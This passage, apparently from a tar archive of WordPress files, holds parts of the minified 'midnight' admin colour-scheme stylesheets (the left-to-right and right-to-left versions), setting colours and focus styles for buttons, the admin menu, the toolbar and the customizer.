var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui .button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#363b3f}.wp-core-ui .wp-ui-text-primary{color:#363b3f}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#e14d43}.wp-core-ui .wp-ui-text-highlight{color:#e14d43}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#69a8bb}.wp-core-ui .wp-ui-text-notification{color:#69a8bb}.wp-core-ui .wp-ui-text-icon{color:hsl(206.6666666667,7%,95%)}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch a.current:before{color:#363b3f}.view-switch a:hover:before{color:#69a8bb}#adminmenu,#adminmenuback,#adminmenuwrap{background:#363b3f}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:hsl(206.6666666667,7%,95%)}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#e14d43}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f0f0f0;border-bottom-color:#f0f0f0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:rgb(37.5230769231,40.9974358974,43.7769230769)}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:rgb(37.5230769231,40.9974358974,43.7769230769)}#adminmenu .wp-submenu .wp-submenu-head{color:rgb(194.7,196.2,197.4)}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:rgb(194.7,196.2,197.4)}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#e14d43}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#e14d43}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f0f0f0}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#e14d43}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#69a8bb}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:rgb(37.5230769231,40.9974358974,43.7769230769)}#collapse-button{color:hsl(206.6666666667,7%,95%)}#collapse-button:focus,#collapse-button:hover{color:#e14d43}#wpadminbar{color:#fff;background:#363b3f}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:hsl(206.6666666667,7%,95%)}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#e14d43;background:rgb(37.5230769231,40.9974358974,43.7769230769)}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#e14d43}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#e14d43}#wpadminbar .menupop .ab-sub-wrapper{background:rgb(37.5230769231,40.9974358974,43.7769230769)}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:rgb(75.8214230769,76.4087307692,76.8785769231)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:rgb(194.7,196.2,197.4)}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:hsl(206.6666666667,7%,95%)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#e14d43}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#e14d43}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:hsl(206.6666666667,7%,95%)}#wpadminbar #adminbarsearch:before{color:hsl(206.6666666667,7%,95%)}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:rgb(70.4769230769,77.0025641026,82.2230769231)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#69a8bb}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(94.5,151.2,168.3)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(70.4769230769,77.0025641026,82.2230769231);background-color:rgb(70.4769230769,77.0025641026,82.2230769231)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#e14d43}#wpadminbar #wp-admin-bar-user-info .username{color:rgb(194.7,196.2,197.4)}.wp-pointer .wp-pointer-content h3{background-color:#e14d43;border-color:rgb(221.4908256881,56.1788990826,45.0091743119)}.wp-pointer .wp-pointer-content h3:before{color:#e14d43}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#e14d43}.media-item .bar,.media-progress-bar div{background-color:#e14d43}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #e14d43}.attachment.details .check{background-color:#e14d43;box-shadow:0 0 0 1px #fff,0 0 0 2px #e14d43}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #e14d43}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#e14d43}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#e14d43}.theme-filter.current,.theme-section.current{border-bottom-color:#363b3f}body.more-filters-opened .more-filters{color:#fff;background-color:#363b3f}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#e14d43;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#e14d43;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(232.0183486239,118.6422018349,110.9816513761),0 0 2px 1px #e14d43}div#wp-responsive-toggle a:before{color:hsl(206.6666666667,7%,95%)}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#e14d43}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:rgb(37.5230769231,40.9974358974,43.7769230769)}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:hsl(206.6666666667,7%,95%)}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#e14d43}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-left-color:#e14d43}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#e14d43}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-left-color:#e14d43}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(232.0183486239,118.6422018349,110.9816513761),0 0 2px 1px #e14d43}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#e14d43;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#e14d43}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#e14d43;border-style:solid;box-shadow:0 0 0 1px #e14d43;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#e14d43}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#e14d43}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#e14d43}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(232.0183486239,118.6422018349,110.9816513761),0 0 2px 1px #e14d43}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#e14d43;color:#0073aa} css/colors/midnight/colors-rtl.min.css 0000644 00000052676 15233246127 0014061 0 ustar 00 /*! This file is auto-generated */ body{background:#f0f0f0}a{color:#0073aa}a:active,a:focus,a:hover{color:rgb(0,149.5,221)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(0,149.5,221)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui .button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-secondary{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui .button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#363b3f}.wp-core-ui .wp-ui-text-primary{color:#363b3f}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#e14d43}.wp-core-ui .wp-ui-text-highlight{color:#e14d43}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#69a8bb}.wp-core-ui .wp-ui-text-notification{color:#69a8bb}.wp-core-ui .wp-ui-text-icon{color:hsl(206.6666666667,7%,95%)}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch a.current:before{color:#363b3f}.view-switch a:hover:before{color:#69a8bb}#adminmenu,#adminmenuback,#adminmenuwrap{background:#363b3f}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:hsl(206.6666666667,7%,95%)}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#e14d43}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f0f0f0;border-bottom-color:#f0f0f0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:rgb(37.5230769231,40.9974358974,43.7769230769)}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:rgb(37.5230769231,40.9974358974,43.7769230769)}#adminmenu .wp-submenu .wp-submenu-head{color:rgb(194.7,196.2,197.4)}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:rgb(194.7,196.2,197.4)}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#e14d43}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#e14d43}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f0f0f0}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#e14d43}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#69a8bb}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:rgb(37.5230769231,40.9974358974,43.7769230769)}#collapse-button{color:hsl(206.6666666667,7%,95%)}#collapse-button:focus,#collapse-button:hover{color:#e14d43}#wpadminbar{color:#fff;background:#363b3f}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:hsl(206.6666666667,7%,95%)}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#e14d43;background:rgb(37.5230769231,40.9974358974,43.7769230769)}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#e14d43}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#e14d43}#wpadminbar .menupop .ab-sub-wrapper{background:rgb(37.5230769231,40.9974358974,43.7769230769)}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:rgb(75.8214230769,76.4087307692,76.8785769231)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:rgb(194.7,196.2,197.4)}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li 